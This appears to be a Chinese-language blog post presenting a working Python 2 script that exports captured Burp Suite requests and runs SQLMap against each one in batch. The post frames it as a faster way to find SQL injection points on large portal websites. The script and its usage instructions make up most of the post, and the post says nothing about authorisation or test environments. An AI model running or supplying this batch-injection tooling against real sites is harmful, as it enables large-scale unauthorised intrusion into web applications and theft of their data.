【Pyhon】利用BurpSuite到SQLMap批量测试SQL注入

前言

通过Python脚本把Burp的HTTP请求提取出来交给SQLMap批量测试，提升找大门户网站SQL注入点的效率。

导出Burp的请求包

配置到Burp的代理后浏览门户站点，Burp会将URL纪录存储在HTTP History选项卡的内容里

导出Burp的请求包到SQLMAP中测试SQL注入漏洞，可以通过【Filter】选择【Show only parametrized requests】筛选出需要测试的URL请求。

Ctrl+A全选所有的请求条目，右击点击保存【Save items】

默认输出的HTTP请求包是经过Base64编码后的。可以选择勾选掉【Base64-encode requests and responses】

配置SQLMap

环境变量里把SQLMap设置为直接打开cmd窗口就可以使用。

Burp-To-SQLMap Script

测试环境：Windows10、Python2。

脚本测试命令，使用示例代码保存的Brup包不需要勾选掉Base64的编码。因为不用Base64编码的文件数据看起来太混乱了。

- 导出的文件名如果是burp情况

把Burp导出的文件放到脚本目录下，直接用这个脚本就可以了。

> Burp-to-sqlmap.py

- 自定义参数

  Usage: ./burp-to-sqlmap.py [options]"

    print"  Options: -f, --file               <BurpSuit State File>"

    print"  Options: -o, --outputdirectory    <Output Directory>"

    print"  Options: -s, --sqlmappath         <SQLMap Path>"

    print"  Options: -p, --proxy              <Use Proxy>"

    print"  Example: python burp-to-sqlmap.py -f [BURP-STATE-FILE] -o [OUTPUT-DIRECTORY] -s [SQLMap-Path] -p [Proxy]"

代码：

#encoding: utf-8

import os

from bs4 import BeautifulSoup

import os.path

import argparse

import sys

import base64

# SQLMap自定义选项

_options = " --technique BEST --batch --threads 10 "

def usage():

    print" "

    print"  Usage: ./burp-to-sqlmap.py [options]"

    print"  Options: -f, --file               <BurpSuit State File>"

    print"  Options: -o, --outputdirectory    <Output Directory>"

    print"  Options: -s, --sqlmappath         <SQLMap Path>"

    print"  Options: -p, --proxy              <Use Proxy>"

    print"  Example: python burp-to-sqlmap.py -f [BURP-STATE-FILE] -o [OUTPUT-DIRECTORY] -s [SQLMap-Path] -p [Proxy]"

    print" "

parser = argparse.ArgumentParser()

parser.add_argument("-f", "--file",default="burp")

parser.add_argument("-o", "--outputdirectory",default="output")

parser.add_argument("-s", "--sqlmappath")

parser.add_argument("-p", "--proxy")

args = parser.parse_args()

if not args.file or (os.path.exists("burp") == False):

    usage()

    sys.exit(0)

if os.path.exists("output") == False:

    os.mkdir("output")

if args.proxy:

    proxyvalue = "--proxy " + args.proxy

else:

    proxyvalue = ""

vulnerablefiles = []

filename = args.file

directory = args.outputdirectory

sqlmappath = args.sqlmappath

if not os.path.exists(directory):

    os.makedirs(directory)

# 提取数据包

packetnumber = 0

print " [+] Exporting Packets ..."

with open(filename, 'r') as f:

    soup = BeautifulSoup(f.read(), "html.parser")

    for i in soup.find_all("request"):

        packetnumber = packetnumber + 1

        print "   [-] Packet " + str(packetnumber) + " Exported."

        outfile = open(os.path.join(args.outputdirectory, str(packetnumber) + ".txt"), "w")

        outfile.write(base64.b64decode(i.text.strip()))

    print " "

    print str(packetnumber) + " Packets Exported Successfully."

    print " "

# SQLMap测试

print " [+] Testing SQL Injection on packets ...  (Based on your network connection Test can take up to 5 minutes.)"

for file in os.listdir(directory):

    print "   [-] Performing SQL Injection on packet number " + file[:-4] + ". Please Wait ..."

    _command = "sqlmap -r " + directory + "\\" + file + _options + proxyvalue + " > " + directory + "\\testresult" + file

    print _command

    os.system(_command)

    if 'is vulnerable' in open(directory + "\\testresult" + file).read() or "Payload:" in open(

            directory + "\\testresult" + file).read():

        print "    - URL is Vulnerable."

        vulnerablefiles.append(file)

    else:

        print "    - URL is not Vulnerable."

    print "    - Output saved in " + directory + "\\testresult" + file

print " "

print "--------------"

print "Test Done."

print "Result:"

if not vulnerablefiles:

    print "No vulnerabilities found on your target."

else:

    for items in vulnerablefiles:

        print "Packet " + items[:-4] + " is vulnerable to SQL Injection. for more information please see " + items

print "--------------"

print " "

测试效果

参考

https://www.exploit-db.com/docs/english/45428-bulk-sql-injection-using-burp-to-sqlmap.pdf

巴特西

【Pyhon】利用BurpSuite到SQLMap批量测试SQL注入

前言

导出Burp的请求包

配置SQLMap

Burp-To-SQLMap Script

测试效果

参考

最新文章

热门文章